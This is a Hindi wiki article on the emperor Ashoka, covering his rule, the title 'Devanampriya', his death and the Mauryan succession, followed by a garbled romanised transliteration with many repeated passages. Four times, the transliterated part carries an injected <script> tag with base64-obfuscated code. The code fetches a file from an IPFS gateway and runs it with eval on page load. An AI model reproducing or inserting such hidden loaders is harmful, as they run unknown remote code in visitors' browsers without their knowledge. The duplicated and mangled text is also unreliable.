प्रसार को बढ़ाया होगा। दक्षिण दिशा में अशोक को सर्वाधिक सफलता [[ताम्रपर्णी]]  में मिली। वहाँ का राजा [[तिस्स]] तो अशोक से इतना प्रभावित था कि उसने भी देवानांप्रिय की उपाधि धारण कर ली। अपने दूसरे राज्याभिषेक में उसने अशोक को विशेष निमंत्रण भेजा। जिसके फलस्वरूप सम्भवतः अशोक का पुत्र महेन्द्र बोधिवृक्ष की पौध लेकर पहुँचा। श्रीलंका में यह बौद्ध धर्म का पदार्पण था। श्रीलंका के प्राचीनतम अभिलेख तिस्स के उत्तराधिकारी उत्तिय के काल के हैं। जो अपनी प्राकृत भाषा एवं शैली की दृष्टि से स्पष्टतः अशोक के अभिलेखों से प्रभावित है। अशोक और श्रीलंका के सम्बन्ध पारस्परिक सदभाव, आदर-सम्मान एवं बराबरी पर आधारित थे न कि साम्राज्यिक शक्ति एवं आश्रित शक्ति के पारस्परिक सम्बन्धों पर।
 
 
 
उपर्युक्त विदेशी शक्तियों के अतिरिक्त कुछ क्षेत्र ऐसे भी हैं जिनके सम्बन्ध में कुछ परम्पराएँ एवं किंवदन्तियाँ प्राप्त हैं। उदाहरणार्थ कश्मीर सम्भवतः अन्य सीमावर्ती प्रदेशों की तरह ही अशोक के साम्राज्य से जुड़ा था। मध्य एशिया में स्थित खोटान के राज्य के बारे में एक तिब्बती परम्परा है कि बुद्ध की मृत्यु के 250 वर्ष के बाद अर्थात् ई. पू. 236 में अशोक खोटान गया था। सम्भवतः यह भी धम्म मिशन के रूप में हुआ होगा किन्तु यह दृष्टव्य है कि स्वयं अशोक के अभिलेखों में इसका कोई उल्लेख नहीं है। इसी प्रकार [[नेपाल]] का कुछ अंश अशोक की यात्रा के उपलक्ष्य में वहाँ के करों को कम करना किसी विदेशी राज्य में सम्भव नहीं था। फिर भी नेपाल का शेष अंश सम्भवतः [[मौर्य साम्राज्य]] से घनिष्ठ सम्बन्ध बनाए हुए होगा।
 
 
 
==अशोक शासक के रूप में==
 
{{दाँयाबक्सा|पाठ=हर दशा में दूसरे सम्प्रदायों का आदर करना ही चाहिए। ऐसा करने से मनुष्य अपने सम्प्रदाय की उन्नति और दूसरे सम्प्रदायों का उपकार करता है। इसके विपरीत जो करता है वह अपने सम्प्रदाय की (जड़) काटता है और दूसरे सम्प्रदायों का भी अपकार करता है। क्योंकि जो अपने सम्प्रदाय की भक्ति में आकर इस विचार से कि मेरे सम्प्रदाय का गौरव बढ़े, अपने सम्प्रदाय की प्रशंसा करता है और दूसरे सम्प्रदाय की निन्दा करता है, वह ऐसा करके वास्तव में अपने सम्प्रदाय को ही गहरी हानि पहुँचाता है। इसलिए समवाय (परस्पर मेलजोल से रहना) ही अच्छा है अर्थात् लोग एक-दूसरे के धर्म को ध्यान देकर सुनें और उसकी सेवा करें। - सम्राट [[अशोक]] महान<ref>गिरनार का बारहवाँ शिलालेख "अशोक के धर्म लेख" से पृष्ठ सं- 31</ref>|विचारक=}}
 
शासक संगठन का प्रारूप लगभग वही था जो [[चंद्रगुप्त मौर्य]] के समय में था। अशोक के अभिलेखों में कई अधिकारियों का उल्लेख मिलता है। जैसे [[राजुकु]], [[प्रादेशिक]], [[युक्त]] आदि। इनमें अधिकांश राज्याधिकारी चंद्रगुप्त के समय से चले आ रहे थे। अशोक ने धार्मिक नीति तथा प्रजा के कल्याण की भावना से प्रेरित होकर उनके कर्तव्यों में विस्तार किया जिसका विवेचन आगे किया जाएगा। केवल [[धम्ममहामात्र|धम्म महामात्रों]] की नियुक्ति एक नवीन प्रकार की नियुक्ति थी।
 
===देवानाम्प्रिय प्रियदर्शी के अर्थ===
 
'देवानाम्प्रिय प्रियदर्शी' इस वाक्यांश में बी.ए. स्मिथ के मतानुसार  'देवानाम्प्रिय' आदरसूचक पद है और इसी अर्थ में हमने भी इसको लिया है किंतु देवानाम्प्रिय शब्द (देव-प्रिय नहीं) [[पाणिनी]] के एक सूत्र<ref>[[पाणिनी]]  6,3,21</ref> के अनुसार अनादर का सूचक है। [[कात्यायन]]<ref>ई.पू. 350 सर आर. जी. भंडाकर</ref> इसे अपवाद में रखता है। [[पतंजलि]]<ref> ई. पू. 150</ref> और यहाँ तक कि काशिका (650 ई.) भी इसे अपवाद ही मानते हैं। पर इन सबके उत्तरकालीन वैयाकरण भट्टोजीदीक्षित इसे अपवाद में नहीं रखते।  वे इसका अनादरवाची अर्थ 'मूर्ख' ही करते हैं। उनके मत से 'देवानाम्प्रिय  ब्रह्मज्ञान से रहित उस पुरुष को कहते हैं जो [[यज्ञ]] और पूजा से भगवान को प्रसन्न करने का यत्न करता है जैसे गाय दूध देकर मालिक को।<ref>तत्त्वबोधिनी और बालमनोरमा</ref> इस प्रकार एक उपाधि जो नंदों, मौर्यों और शुंगों के युग में आदरवाची थी उस महान राजा के प्रति ब्राह्मणों के दुराग्रह के कारण अनादर सूचक बन गई।
 
 
 
पाणिनी का सूत्र है "षष्ठ्या आकोशे" अर्थात आकोश अनादर के लिए समस्त पदों में षष्ठी की विभक्ति वर्तमान रहती है, जैसे चौरस्य कुलम, इसके विपरीत ब्राह्मण-कुलम में षष्ठी विभक्ति लुप्त है क्योंकि इस पद से किसी अनादर की सूचना नहीं मिलती। इसी प्रकार देवानाम्प्रिय वार्त्तिक का उदाहरण है। पतंजलि ने पाणिनी<ref>पाणिनी  5, 3, 14</ref> के भाष्य में देवानाम्प्रिय को तो दीर्घायु: और आयुष्मान की भाँति आशीर्वाद का संबोधन माना है। बाण के हर्षचरित  में दोनों ही अवसरों पर इसे आदरसूचक माना है।<ref>'अशोक' | लेखक: राधाकुमुद मुखर्जी | प्रकाशक: मोतीलाल बनारसीदास | पृष्ठ संख्या: 90</ref>
 
 
 
===धर्म परायण अशोक===
 
बौद्ध धर्म ग्रहण करने के पश्चात अशोक ने धर्म प्रचार के लिए बड़ी लगन और उत्साह से काम किया। परन्तु शासन के प्रति वह कतई उदासीन नहीं हुआ। धर्म परायणता ने उसमें प्रजा के ऐहिक एवं पारलौकिक कल्याण के लिए लगन पैदा की। उसने राजा और प्रजा के बीच पैतृक सम्बन्ध को बढ़ाने पर अधिक बल दिया। कलिंग में अशोक ने कहा है, "सारी प्रजा मेरी संतान है, जिस प्रकार मैं अपनी संतान ऐहिक और कल्याण की कामना करता हूँ उसी प्रकार, अपनी प्रजा के ऐहिक और पारलौकिक कल्याण और सुख के लिए भी। जैसे एक माँ एक शिशु को एक कुशल धाय का सौंपकर निश्चिंत हो जाती है कि कुशल धाय संतान का पालन-पोषण करने में समर्थ है, उसी प्रकार मैंने भी अपनी प्रजा के सुख और कल्याण के लिए राजुकों की नियुक्ति की है" (चौथा स्तंभ लेखा)। वह प्रजा के कार्य करने के लिए सदैव उद्यत रहता था। अपने छठे शिलालेख में उसने यह घोषणा की, "हर क्षण और हर स्थान पर—चाहे वह रसोईघर हो, अंतपुर में हो अथवा उद्यान में—मेरे प्रतिवेदक मुझे प्रजा के कार्यों के सम्बन्ध में सूचित करें। मैं जनता का कार्य करने में कभी भी नहीं आघाता। मुझे प्रजा के हित के लिए कार्य करना चाहिए।" इस प्रकार हम देखते हैं कि राजा के उत्थानव्रत और प्रजाहित आदर्श पर अशोक ने अत्यधिक बल दिया। यही नहीं, अशोक ने राजा के कर्तव्य का एक नया दृष्टिकोण प्रस्तुत किया। राजा प्रजा का ऋणी है, प्रजा के प्रति अपने कर्तव्य का पालन करके वह प्रजा का ऋण चुकाता है। अशोक के आठवें शिलालेख में तथा मास्की लघु शिलालेख में यह अनुमान लगाया गया है कि अशोक राज्य के विभिन्न भागों में निरीक्षाटन भी करता था। जिससे जनता के सुख—दुःख का सीधे पता लगा सके। पुरुषों और प्रतिवेदकों द्वारा जनसम्पर्क बना रहता था।
 
 
अपने शासन को अधिक मानवीय बनाने के लिए अशोक ने शासन में कई सुधार किए। सर्वप्रथम प्रशासनिक सुधार यह था कि प्रादेशिक राजुक से लेकर युक्तक तक सभी अधिकारी हर पाँचवें साल (उज्जयिनी और तक्षशिलामें हर तीसरे साल) राज्य में निरीक्षाटन के लिए जाते थे। प्रशासनिक कार्य के अतिरिक्त वे धम्म का प्रचार भी करते थे। कलिंग लेख से पता चलता है कि अकारण लोगों को कारावास तथा भय बचाने के लिए प्रत्येक पाँचवें वर्ष महामात्र निरीक्षाटन के लिए भेजे जाते थे। उनका एक कार्य यह भी था कि वे देखें कि नगर न्यायाधीश राजा के आदेश का पालन करें।
 
 
 
अशोक ने अपने राज्य के तेरहवें वर्ष के बाद एक सर्वथा नवीन प्रकार के उच्चाधिकारियों की नियुक्ति की। इन्हें धम्ममहामात्र कहा गया है। इनका प्रमुख कार्य जनता में धर्मप्रसार करना तथा दानशीलता को उत्साहित करना था। किन्तु प्रशासनिक दृष्टि से इनका कार्य यह था—जिन्हें कारावास का दंड दिया गया हो उनके परिवारों को आर्थिक सहायता देना, अपराधियों के सम्बन्धियों से सम्पर्क बनाए रखकर उन्हें सांत्वना देना। इस प्रकार अशोक ने न्याय और दंड में मानवीयता लाने का प्रयास किया। न्याय को दया से मिश्रित करके मृदु बना दिया।
 
 
 
अशोक व्यावहारिक था। उसने मृत्युदंड को एक दम समाप्त नहीं किया, किन्तु यह व्यवस्था की कि यदि समुचित कारण उपस्थित हों, तो धम्म महामात्र न्यायाधिकारियों से दंड कम करवाने का प्रयत्न करें। जिन अपराधियों को मृत्युदंड दिया गया हो उन्हें तीन दिन का अवकाश देने की व्यवस्था की गई, ताकि इस बीच उनके सम्बन्धी उनके जीवनदान के लिए (राजुकों से) प्रार्थना कर सकें, और (यदि यह सम्भव न हो सके तो) वे दान-व्रत-प्रार्थना के द्वारा परलोक की तैयारी कर सकें। राजुकों को आदेश दिया गया कि अभिहार दंड में एकरूपता हो और पक्षपातरहित हो।
 
 
 
26वें वर्ष में अशोक ने राजुकों, अभिहार तथा दंडकों को स्वतंत्रता दी ताकि ऊपर से बिना हस्तक्षेप के वे आत्मविश्वास के साथ प्रजा का हित कर सकें। ये राजुक सैकड़ों—हज़ारों लोगों के ऊपर शासन करते थे और अशोक ने उन्हें स्वतंत्रता इसलिए दी कि वे निर्वघ्न शासन द्वारा जनता का हित करने में समर्थ हो सकें।
 
 
 
अशोक ने मनुष्यों और पशुओं के लिए चिकित्सालय खुलवाए। जहाँ मनुष्यों और पशुओं के लिए उपयोगी औषधियाँ उपलब्ध नहीं थी वहाँ बाहर से मँगाकर उन्हें लगाया जाता। कंदमूल और फल भी जहाँ कभी नहीं थे, वहाँ बाहर से मँगाकर लगवाए गए। सड़क के किनारे पर पेड़ लगाए गए ताकि मनुष्यों और पशुओं को छाया मिल सके। आठ कोस या 9 मील के फ़ासले पर जगह-जगह कुएँ खुदवाए गए। इसके अलावा अनेक प्याऊ स्थापित किए गए। इस प्रकार अशोक की धर्मपरायणता ने उसे अनेक प्रकार के कल्याणकारी कार्यों के लिए प्रेरित किया। उसका शासन केन्दित होते हुए भी मानवीय था।
 
 
 
 
==निधन==
 
==निधन==
इस बात का भी विवरण नहीं मिलता है कि अशोक के कर्मठ जीवन का अंत कब, कैसे और कहाँ हुआ। तिब्बती परम्परा के अनुसार उसका देहावसान [[तक्षशिला]] में हुआ। उसके एक शिलालेख के अनुसार अशोक का अंतिम कार्य भिक्षुसंघ मे फूट डालने की निंदा करना था।सम्भवत: यह घटना बौद्धों की तीसरी संगति के बाद की है। सिंहली इतिहास ग्रंथों के अनुसार तीसरी संगीति अशोक के राज्यकाल में [[पाटलिपुत्र]] में हुई थी।<ref name="BIK">{{cite book | last =भट्टाचार्य| first =सचिदानंद| title =भारतीय इतिहास कोश | edition = | publisher =उत्तरप्रदेश हिंदी संस्थान| location =लखनऊ| language =हिंदी| pages =28| chapter =}}</ref>
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इस बात का विवरण नहीं मिलता है कि अशोक के कर्मठ जीवन का अंत कब, कैसे और कहाँ हुआ। तिब्बती परम्परा के अनुसार उसका देहावसान [[तक्षशिला]] में हुआ। उसके एक शिलालेख के अनुसार अशोक का अंतिम कार्य भिक्षुसंघ मे फूट डालने की निंदा करना था। सम्भवत: यह घटना बौद्धों की तीसरी संगति के बाद की है। सिंहली इतिहास ग्रंथों के अनुसार तीसरी संगीति अशोक के राज्यकाल में [[पाटलिपुत्र]] में हुई थी।<ref name="BIK">{{cite book | last =भट्टाचार्य| first =सचिदानंद| title =भारतीय इतिहास कोश | edition = | publisher =उत्तरप्रदेश हिंदी संस्थान| location =लखनऊ| language =हिंदी| pages =28| chapter =}}</ref>
==जीवन कालक्रम==
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====उत्तराधिकारी====
{{Main|अशोक का कालक्रम}}
 
{{अशोक काल क्रम}}
 
अशोक के जीवन और शासन का जो कालक्रम उसके लेखों से विदित होता है उसकी तुलना जनश्रुतियों से करना लाभदायक होगा। ये जनश्रुतियां उत्तरी और दक्षिणी दोनों हैं। उत्तरी जनश्रुति [[दिव्यावदान]]  में और दक्षिणी [[महावंश]] में सुरक्षित है। कालक्रम के ये दोनों आधार यद्यपि अलग-अलग हैं तथापि अनेक मामलों में ये एक दूसरे का समर्थन करते प्रतीत होते हैं। अशोक के अभिषेक की तिथि ईसा पूर्व  270 में निश्चित हो चुकी है। अब इसी स्थान से शुरु करके हम अशोक के जीवन व शासन की नीचे लिखी घटनाओं की तिथियां निकाल सकते हैं और उन्हें कालक्रम से सुव्यवस्थित भी कर सकते हैं।
 
 
 
==उत्तराधिकारी==
 
 
40 वर्ष तक राज्य करने के बाद लगभग ई. पू. 232 में अशोक की मृत्यु हुई। उसके बाद लगभग 50 वर्ष तक अशोक के अनेक उत्तराधिकारियों ने शासन किया। किन्तु इन मौर्य शासकों के सम्बन्ध में हमारा ज्ञान अपर्याप्त तथा अनिश्चित है। [[पुराण]], [[बौद्ध]] तथा [[जैन]] अनुश्रुतियों में इन उत्तराधिकारियों के नामों की जो सूचियाँ दी गई हैं वे एक-दूसरे से मेल नहीं खाती हैं।  
 
40 वर्ष तक राज्य करने के बाद लगभग ई. पू. 232 में अशोक की मृत्यु हुई। उसके बाद लगभग 50 वर्ष तक अशोक के अनेक उत्तराधिकारियों ने शासन किया। किन्तु इन मौर्य शासकों के सम्बन्ध में हमारा ज्ञान अपर्याप्त तथा अनिश्चित है। [[पुराण]], [[बौद्ध]] तथा [[जैन]] अनुश्रुतियों में इन उत्तराधिकारियों के नामों की जो सूचियाँ दी गई हैं वे एक-दूसरे से मेल नहीं खाती हैं।  
 
 
*[[पुराण|पुराणों]] के अनुसार अशोक के बाद 'कुणाल' गद्दी पर बैठा। [[दिव्यावदान]] में उसे 'धर्मविवर्धन' कहा गया है। 'धर्मविवेर्धन' सम्भवतः उसका विरुद्ध था, किन्तु अशोक के और भी पुत्र थे।  
 
*[[पुराण|पुराणों]] के अनुसार अशोक के बाद 'कुणाल' गद्दी पर बैठा। [[दिव्यावदान]] में उसे 'धर्मविवर्धन' कहा गया है। 'धर्मविवेर्धन' सम्भवतः उसका विरुद्ध था, किन्तु अशोक के और भी पुत्र थे।  
*[[राजतरंगिणी]] के अनुसार 'जलौक' [[कश्मीर]] का स्वतंत्र शासक बन गया।
 
*तारनाथ के अनुसार 'वीरसेन' अशोक का पुत्र था, जो [[गांधार]] का स्वतंत्र शासक बन गया। इस प्रकार हम देखते हैं कि अशोक की मृत्यु के बाद ही साम्राज्य का विघटन हो गया। कुणाल अंधा था, अतः वह शासन कार्य में असमर्थ था।
 
*जैन तथा बौद्ध ग्रंथों के अनुसार शासन की बाग़डोर उसके पुत्र 'संप्रति' के हाथ में थी। इन अनुश्रुतियों के अनुसार संप्रति ही कुणाल का उत्तराधिकारी था।
 
 
*पुराणों तथा नागार्जुनी पहाड़ियों की गुफ़ाओं के शिलालेख के अनुसार दशरथ कुणाल का पुत्र था। नागार्जुनी गुफ़ाओं को दशरथ ने [[आजीविक|आजीविकों]] को दान में दिया था। इन प्रमाणों के आधार पर यह मत प्रस्तुत किया गया कि [[मगध]] साम्राज्य दो भागों में विभक्त हो गया। दशरथ का अधिकार साम्राज्य के पूर्वी भाग में तथा संप्रति का पश्चिमी भाग में था।  
 
*पुराणों तथा नागार्जुनी पहाड़ियों की गुफ़ाओं के शिलालेख के अनुसार दशरथ कुणाल का पुत्र था। नागार्जुनी गुफ़ाओं को दशरथ ने [[आजीविक|आजीविकों]] को दान में दिया था। इन प्रमाणों के आधार पर यह मत प्रस्तुत किया गया कि [[मगध]] साम्राज्य दो भागों में विभक्त हो गया। दशरथ का अधिकार साम्राज्य के पूर्वी भाग में तथा संप्रति का पश्चिमी भाग में था।  
 
*[[विष्णु पुराण]] तथा गार्गी संहिता के अनुसार संप्रति तथा दशरथ के बाद उल्लेखनीय मौर्य शासक सालिसुक था। उसे संप्रति का पुत्र बृहस्पति भी माना जा सकता है।  
 
*[[विष्णु पुराण]] तथा गार्गी संहिता के अनुसार संप्रति तथा दशरथ के बाद उल्लेखनीय मौर्य शासक सालिसुक था। उसे संप्रति का पुत्र बृहस्पति भी माना जा सकता है।  
 
*पुराणों में ही नहीं वरन् [[हर्षचरित]] में भी [[मगध]] के अन्तिम सम्राट का नाम [[बृहद्रथ मौर्य|बृहद्रथ]] दिया गया है। इनके अनुसार [[मौर्य वंश]] के अन्तिम सम्राट बृहद्रथ की, उसके सेनापति [[पुष्यमित्र शुंग|पुष्यमित्र]] ने हत्या कर दी और स्वयं सिंहासन पर आरूढ़ हो गया।
 
*पुराणों में ही नहीं वरन् [[हर्षचरित]] में भी [[मगध]] के अन्तिम सम्राट का नाम [[बृहद्रथ मौर्य|बृहद्रथ]] दिया गया है। इनके अनुसार [[मौर्य वंश]] के अन्तिम सम्राट बृहद्रथ की, उसके सेनापति [[पुष्यमित्र शुंग|पुष्यमित्र]] ने हत्या कर दी और स्वयं सिंहासन पर आरूढ़ हो गया।
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{{अशोक लेख सूची}}
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{{शासन क्रम |शीर्षक=[[मौर्य काल]] |पूर्वाधिकारी=[[बिन्दुसार]] |उत्तराधिकारी=[[दशरथ मौर्य]]}}
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==महेन्द्र और पुत्री संघमित्रा==
 
अशोक ने बौद्ध धर्म ग्रहण किया, इस धर्म के उपदेशों को न केवल देश में वरन विदेशों में भी प्रचारित करने के लिए प्रभावशाली क़दम उठाए। अपने पुत्र महेन्द्र और पुत्री संघमित्रा को अशोक ने इसी कार्य के लिए [[श्रीलंका]] भेजा था। अशोक ने अपने कार्यकाल में अनेक शिलालेख खुदवाए जिनमें धर्मोपदेशों को उत्कीर्ण किया गया। राजशक्ति को सर्वप्रथम उसने ही जनकल्याण के विविध कार्यों की ओर अग्रसर किया।  अनेक [[स्तूप|स्तूपों]] और स्तंभों का निर्माण किया गया।  इन्हीं में से [[सारनाथ]] का प्रसिद्ध सिंहशीर्ष स्तंभ भी है जो अब भारत के राजचिन्ह के रूप में सम्मानित है।
 
{{seealso|अशोक का परिवार}}
 
  
==सहृदयता, सहिष्णुता और उदारता==
 
कुछ इतिहासकारों का मत है कि अशोक ने धार्मिक क्षेत्रों की ओर ध्यान न देकर राष्ट्रीय दृष्टि से हित साधन नहीं किया।  इससे भारत का राजनीतिक विकास रूका जबकि उस समय [[रोमन साम्राज्य]] के समान विशाल भारतीय साम्राज्य की स्थापना संभव थी।  इस नीति से दिग्विजयी सेना निष्क्रिय हो गई और विदेशी आक्रमण का सामना नहीं कर सकी।  इस नीति ने देश को भौतिक समृद्धि से विमुख कर दिया जिससे देश में राष्ट्रीयता की भावनाओं का विकास अवरूद्ध हो गया। दूसरी ओर अन्य का मत इससे विपरीत है। वे कहते हैं इसी नीति से भारतीयता का अन्य देशों में प्रचार हुआ। घृणा के स्थान पर सहृदयता विकसित हुई, सहिष्णुता और उदारता को बल मिला तथा बर्बरता के कृत्यों से भरे हुए इतिहास को एक नई दिशा का बोध हुआ।  लोकहित की दृष्टि से अशोक ही अपने समकालीन इतिहास का एकमात्र ऐसा शासक है जिसने न केवल मानव की वरन जीवमात्र की चिंता की। इस मत-विभिन्नता के रहते हुए भी यह विचार सर्वमान्य है कि अशोक अपने काल का अकेला सम्राट था, जिसकी प्रशस्ति उसके गुणों के कारण होती आई है बल के डर से नहीं।
 
  
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
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* 'प्राचीन भारत का इतिहास' | लेखक: द्विजेन्द्र नारायण झा, कृष्ण मोहन श्रीमाली | प्रकाशक: दिल्ली विश्वविद्यालय
 
* 'प्राचीन भारत का इतिहास' | लेखक: द्विजेन्द्र नारायण झा, कृष्ण मोहन श्रीमाली | प्रकाशक: दिल्ली विश्वविद्यालय
 
* 'मौर्य साम्राज्य का इतिहास' | लेखक: सत्यकेतु विद्यालंकार | प्रकाशक: श्री सरस्वती सदन
 
* 'मौर्य साम्राज्य का इतिहास' | लेखक: सत्यकेतु विद्यालंकार | प्रकाशक: श्री सरस्वती सदन
* 'भारत का इतिहास' | लेखिका: रोमिला थापर | प्रकाशक: राजकमल प्रकाशन
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* 'भारत का इतिहास' | लेखिका: [[रोमिला थापर]] | प्रकाशक: राजकमल प्रकाशन
  
 
==संबंधित लेख==
 
==संबंधित लेख==
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[[Category:जीवनी साहित्य]][[Category:अशोक]]
 
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Latest revision as of 08:08, 29 April 2018

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ashok vishay soochi
ashok
poora nam raja[1] priyadarshi devataoan ka priy ashok maury
any nam 'devanampriy' evan 'priyadarshi'[2]
janm 304 eesa poorv (sanbhavit)
janm bhoomi pataliputr (patana)
mrityu tithi 232 eesa poorv
mrityu sthan pataliputr, patana
pita/mata bindusar, subhadraangi (uttari parampara), rani dharma (dakshini parampara)
pati/patni (1) devi (vedis-mahadevi shakyakumari), (2) karuvaki (dvitiy devi tivalamata), (3) asandhimitra- agramahishi, (4) padmavati, (5) tishyarakshita[3]
santan devi se- putr mahendr, putri sanghamitra aur putri charumati, karuvaki se- putr tivar, padmavati se- putr kunal (dharmavivardhan) aur bhi kee putroan ka ullekh hai.
upadhi raja[1], 'devanampriy' evan 'priyadarshi'
rajy sima sampoorn bharat
shasan kal eesapoorv 274[3] - 232
sha. avadhi 42 varsh lagabhag
rajyabhishek 272[4] aur 270[3] eesa poorv ke madhy
dharmik manyata hindoo dharm, bauddh dharm
prasiddhi ashok mahan, samrajy vistarak, bauddh dharm pracharak
yuddh samrat banane ke bad ek hi yuddh l da 'kaliang-yuddh' (262-260 ee.poo. ke bich)
nirman bhavan, stoop, math aur stanbh
sudhar-parivartan shilalekhoan dvara janata mean hitakari adeshoan ka prachar
rajadhani pataliputr (patana)
poorvadhikari bindusar (pita)
vansh maury
sanbandhit lekh ashok ke shilalekh, maury kal adi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ashok (aangrezi:Ashok) athava 'asok' (kal eesa poorv 269 - 232) prachin bharat mean maury rajavansh ka raja tha. ashok ka devanampriy evan priyadarshi adi namoan se bhi ullekh kiya jata hai. usake samay maury rajy uttar mean hindukush ki shreniyoan se lekar dakshin mean godavari nadi ke dakshin tatha maisoor, karnatak tak tatha poorv mean bangal se pashchim mean afaganistan tak pahuanch gaya tha. yah us samay tak ka sabase b da bharatiy samrajy tha. samrat ashok ko apane vistrit samrajy ke behatar kushal prashasan tatha bauddh dharm ke prachar ke lie jana jata hai. jivan ke uttarardh mean ashok gautam buddh ka bhakt ho gaya aur unhian[5] ki smriti mean usane ek stambh kh da kar diya jo aj bhi nepal mean unake janmasthal - lumbini mean 'mayadevi mandir' ke pas ashok sh‍tamh‍bh ke roop mean dekha ja sakata hai. usane bauddh dharm ka prachar bharat ke alava shrilanka, afaganistan, pashchim eshiya, misr tatha yoonan mean bhi karavaya. ashok ke abhilekhoan mean praja ke prati kalyanakari drishtikon ki abhivyakti ki gee hai.

jivan parichay

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

janm

ashok prachin bharat ke maury samrat biandusar ka putr tha. jisaka janm lagabhag 304 ee. poorv mean mana jata hai. lanka ki parampara mean [6] biandusar ki solah pataraniyoan aur 101 putroan ka ullekh hai. putroan mean keval tin ke namollekh haian, ve haian - susim [7] jo sabase b da tha, ashok aur tishy. tishy ashok ka sahodar bhaee aur sabase chhota tha.[8]bhaiyoan ke sath grih-yuddh ke bad 272 ee. poorv ashok ko rajagaddi mili aur 232 ee. poorv tak usane shasan kiya.

  1. REDIRECTsaancha:inhean bhi dekhean

devanampriy priyadarshi ke arth

'devanampriy priyadarshi' is vakyaansh mean bi.e. smith ke matanusar 'devanampriy' adarasoochak pad hai aur isi arth mean hamane bhi isako liya hai kiantu devanampriy shabd (dev-priy nahian) panini ke ek sootr[9] ke anusar anadar ka soochak hai. katyayan[10] ise apavad mean rakha hai. patanjali[11] aur yahaan tak ki kashika (650 ee.) bhi ise apavad hi manate haian. par in sabake uttarakalin vaiyakaran bhattojidikshit ise apavad mean nahian rakhate. ve isaka anadaravachi arth 'moorkh' hi karate haian. unake mat se 'devanampriy brahmajnan se rahit us purush ko kahate haian jo yajn aur pooja se bhagavan ko prasann karane ka yatn karata hai. jaise- gay doodh dekar malik ko.[12] is prakar ek upadhi jo nandoan, mauryoan aur shuangoan ke yug mean adaravachi thi. us mahanh raja ke prati brahmanoan ke duragrah ke karan anadar soochak ban gee.

dharm parivartan

chitr:Blockquote-open.gif samrat ka adesh hai ki praja ke sath putravath vyavahar ho, janata ko pyar kiya jae, akaran logoan ko karavas ka dand tatha yatana n di jae. janata ke sath nyay kiya jana chahie. simaant jatiyoan ko ashvasan diya gaya ki unhean samrat se koee bhay nahian karana chahie. unhean raja ke sath vyavahar karane se sukh hi milega, kasht nahian. raja yathashakti unhean kshama karega, ve dhamm ka palan karean. yahaan par unhean sukh milega aur mrityu ke bad svarg. chitr:Blockquote-close.gif

- ashok

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> isamean koee sandeh nahian ki apane poorvajoan ki tarah ashok bhi brahman dharm ka anuyayi tha. mahavansh ke anusar vah pratidin 60,000 brahmanoan ko bhojan diya karata tha aur anek devi - devataoan ki pooja kiya karata tha. kalhan ki rajatarangini ke anusar ashok ke isht dev shiv the. pashubali mean use koee hichak nahian thi. kintu apane poorvajoan ki tarah vah jijnasu bhi tha. maury rajy sabha mean sabhi dharmoan ke vidvanh bhag lete the. jaise - brahman, darshanik, nigranth, ajivak, bauddh tatha yoonani darshanik. dipavansh ke anusar ashok apani dharmik jijnasa shant karane ke lie vibhinn siddhaantoan ke vyakhyataoan ko rajyasabha mean bulata tha. unhean upahar dekar sammanit karata tha aur sath hi svayan bhi vichararth anek saval prastavit karata tha. vah yah janana chahata tha ki dharm ke kin granthoan mean saty hai. use apane savaloan ke jo uttar mile unase vah santusht nahian tha.

bauddh dharm ka anuyayi

[[chitr:Ashokthegreat.jpg|thumb|300px|bauddh dharm ka prachar karate ashok]]

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isamean koee sandeh nahian ki ashok bauddh dharm ka anuyayi tha. sabhi bauddh granth ashok ko bauddh dharm ka anuyayi batate haian. ashok ke bauddh hone ke sabal praman usake abhilekh haian. rajyabhishek se sambaddh laghu shilalekh mean ashok ne apane ko 'buddhashaky' kaha hai. sath hi yah bhi kaha hai ki vah dhaee varsh tak ek sadharan upasak raha. bhabru laghu shilalekh mean ashok triratn—buddh, dhamm aur sangh mean vishvas karane ke lie kahata hai aur bhikshu tatha bhikshuniyoan se kuchh bauddh granthoan ka adhyayan tatha shravan karane ke lie kahata hai. laghu shilalekh se yah bhi pata chalata hai ki rajyabhishek ke dasavean varsh mean ashok ne bodh gaya ki yatra ki, barahavean varsh vah nigali sagar gaya aur konagaman buddh ke stoop ke akar ko duguna kiya. mahavansh tatha dipavansh ke anusar usane tritiy bauddh sangiti (sabha) bulaee aur moggaliputt tiss ki sahayata se sangh mean anushasan aur ekata lane ka saphal prayas kiya. yah doosari bat hai ki ekata theravad bauddh sampraday tak hi simit thi. ashok ke samay theravad sampraday bhi anek upasampradayoan mean vibhakt ho gaya tha.

videshoan se sambandh

